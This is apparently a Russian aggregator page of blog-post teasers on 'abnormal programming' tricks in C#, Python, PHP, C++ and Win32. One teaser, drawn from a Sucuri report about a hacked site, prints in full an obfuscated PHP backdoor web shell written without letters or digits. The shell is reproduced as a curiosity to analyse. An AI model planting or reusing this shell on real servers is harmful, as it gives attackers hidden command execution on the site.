При работе с отражением (Reflection) порядок отраженных полей не гарантируется. Обычно это не имеет значения, но иногда нужен порядок в точном соответствии порядку определенному в коде. Например, это бывает необходимо для частичной сериализации.
Для решения этой надуманной проблемы мы воспользуемся сервисами межъязыкового взаимодействия.
Метка «ненормальное программирование» - 2
Порядок полей в соответствии с порядком в коде (C#)
2013-11-10 в 19:13, admin, рубрики: reflection, ненормальное программирование, метки: c++, reflection, ненормальное программированиеВопросы Карлосу Олгуину о его работе в области 3d-биопечати, программирования вещества, 4d-проектирования и не только
2013-09-19 в 13:34, admin, рубрики: autodesk, CAD/CAM, Анимация и 3D графика, биоинформатика, биопечать, Биотехнологии, ненормальное программирование, метки: autodesk, биоинформатика, биопечать, биотехнологии, ненормальное программирование
Карлос Олгуин (Carlos Olguin) — руководитель исследований в области био/нано/программируемого вещества в R&D подразделении Autodesk. Его группа в составе 18 специалистов изучает возможности проектирования, связанные с программированием вещества, в разных областях и в разных масштабах, сотрудничая с исследователями из ведущих научных учреждений и коммерческих компаний со всего мира. В преддверии приезда Карлоса на Autodesk University Russia мне удалось задать ему несколько вопросов о его работе
Читать полностью »
PHP-шелл без единого буквенно-цифрового символа
2013-09-16 в 15:51, admin, рубрики: backdoor, php, shell, информационная безопасность, ненормальное программирование, метки: backdoor, PHP, shell, ненормальное программированиеВчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает ?:
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$
$_[$__+ $__] ;$_[@-_]($_[@!+_] );
Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Читать полностью »
Ненормальное функциональное программирование на python
2013-09-16 в 13:02, admin, рубрики: python, ненормальное программирование, функциональное программирование, метки: python, ненормальное программирование, функциональное программирование
После просмотра курса Programming Languages и прочтения Functional JavaScript захотелось повторить все эти крутые штуки в python. Часть вещей получилось сделать красиво и легко, остальное вышло страшным и непригодным для использования.
Статья включает в себя:
- немного непонятных слов;
- каррирование;
- pattern matching;
- рекурсия (включая хвостовую).
Статья рассчитана на python 3.3+.Читать полностью »
Используем возможности питона на полную. Часть 1
2013-08-15 в 0:29, admin, рубрики: flask, mongodb, python, ненормальное программирование, метки: flask, mongodb, python, ненормальное программированиеНа тему крутых возможностей питона на хабре был уже не один пост. Но мой личный опыт показал, что даже прошаренные в питоне люди не до конца понимают когда можно и когда нужно их использовать. Поэтому этот пост будет посвящён исключительно практической стороне вопроса.
Мы напишем маленький уютненький блог используя Flask и MongoDB. К слову, использовать мы будем экзотические для многих функциональные элементы языка, хотя не только их. Чего же тут ненормального? Практически весь код, за исключением маленького бутстрапа, будет храниться в БД.
Реализация стека за счёт … стека вызовов
2013-04-29 в 7:22, admin, рубрики: nemerle, ненормальное программирование, метки: nemerle, ненормальное программирование Пришла мне однажды идея: есть стек вызовов и стек как структура данных. А нельзя ли использовать стек вызовов для хранения данных?
Немного поразмыслив я понял, что можно, только с ограничениями: во первых для обработки значений придётся использовать колбеки (ведь пока значение на стеке, нельзя выходить из того вызова, в котором мы его сохранили). Во вторых доступ строго LIFO.
Реализация — под катом.
Читать полностью »
Марафонские задачки по С++
2013-04-22 в 11:53, admin, рубрики: c++, задачки, ненормальное программирование, Программирование, С++, метки: задачки, ненормальное программирование, С++ Приветствую всех!
В этом посте мы обсудим решение нескольких задачек, которые я подсмотрел из «Марафон задач по С++» (мне кажется ссылки легко найдутся поисковиком). Нет, к сайту я решительно никакого отношения не имею, однако узнал о нем с хабра: либо был у кого-то в профиле, либо была ссылка в комментариях. Итак, определимся с задачками, решения которых будут рассматриваться (задачек всего 9, но эти показались мне интересными):
- Забыл, как умножать. Помогите!
Умножить число на 7, не используя операцию умножения. - Два в одном.
Какой-то умник поменял местами кнопки в лифте. Поставил вместо первого этажа второй, а вместо второго – первый. Честное слово, мне лень ковырять кнопки. Я лучше перепрограммирую лифт. Но программировать мне тоже лень. На вас вся надежда. Напишите, пожалуйста, функцию-переключатель, которая возвращает 1, если на входе 2 и 2, если на входе 1.
Нейронные сети как метод хранения конфиденциальной информации
2013-04-03 в 7:41, admin, рубрики: Алгоритмы, конфиденциальные данные, нейронные сети, ненормальное программирование, паранойя, метки: конфиденциальные данные, нейронные сети, ненормальное программирование, паранойя Одним из применений нейронных сетей является ассоциативная память. Классический пример – хранение классификации каких-либо объектов по входным данным. Но немного модифицировав алгоритм взаимодействия с сетью, можно в ней хранить длинные строковые или бинарные данные, получаемые по ключ-паролю, что также позволяет добиться также добиться высокой криптоустойчивости данных
Читать полностью »
15000 FPS. Хардкорные трюки ч.2 — ну cовсем нестандартное окно
2013-01-11 в 3:55, admin, рубрики: .net, windows, Дизайн в IT, ненормальное программирование, метки: .net, c++, ненормальное программированиеСтремимся к «pixel perfect» + прячем окно от RDP!
Это продолжение серии постов с префиксом «15000 FPS», начатло тут: часть 1 и часть 1.5. Можно и к этому окну добиться 15К FPS, но разумный подход тут не долбить FPS в цикле Render(), а перерисовывать лишь при необходимости, а большую часть остальной работы за нас винда сама сделает. Глядя на скриншот, первая мысль кодера — «ха, да мы все умеем делать нестандартные окна!».
Но дизайнер поопытнее заподозрит неладное: тень от окна какая-то не виндовая, и вообще тут градиенты и альфа-смешивание, не обошлось без честных 8 бит на альфа-канале. Как?
А нужен только Win32 API + System.Drawing.Bitmap, работать будет даже на Win2K с .Net 2.0 и это окно великолепно и быстро масштабируется и перемещается без глюков.
«Кастомное альфа-смешивание окна на десктоп и не тормозит? Вы шутите?».
Читать полностью »
Дело было вечером, echo «было нечего»
2013-01-07 в 20:11, admin, рубрики: php, ненормальное программирование, особенности, метки: PHP, ненормальное программирование, особенностиДобрый день хабр. В статье я расскажу, как используя синтаксис php, можно написать функцию, для вывода переданной ей строковой переменной, не использующую в своем теле символы «a-zA-Z0-9<>?»
Вообще на хабре уже проскальзывали ссылки на статьи об использовании undefined variable, так что ничего нового я скорее всего не открою.
Читать полностью »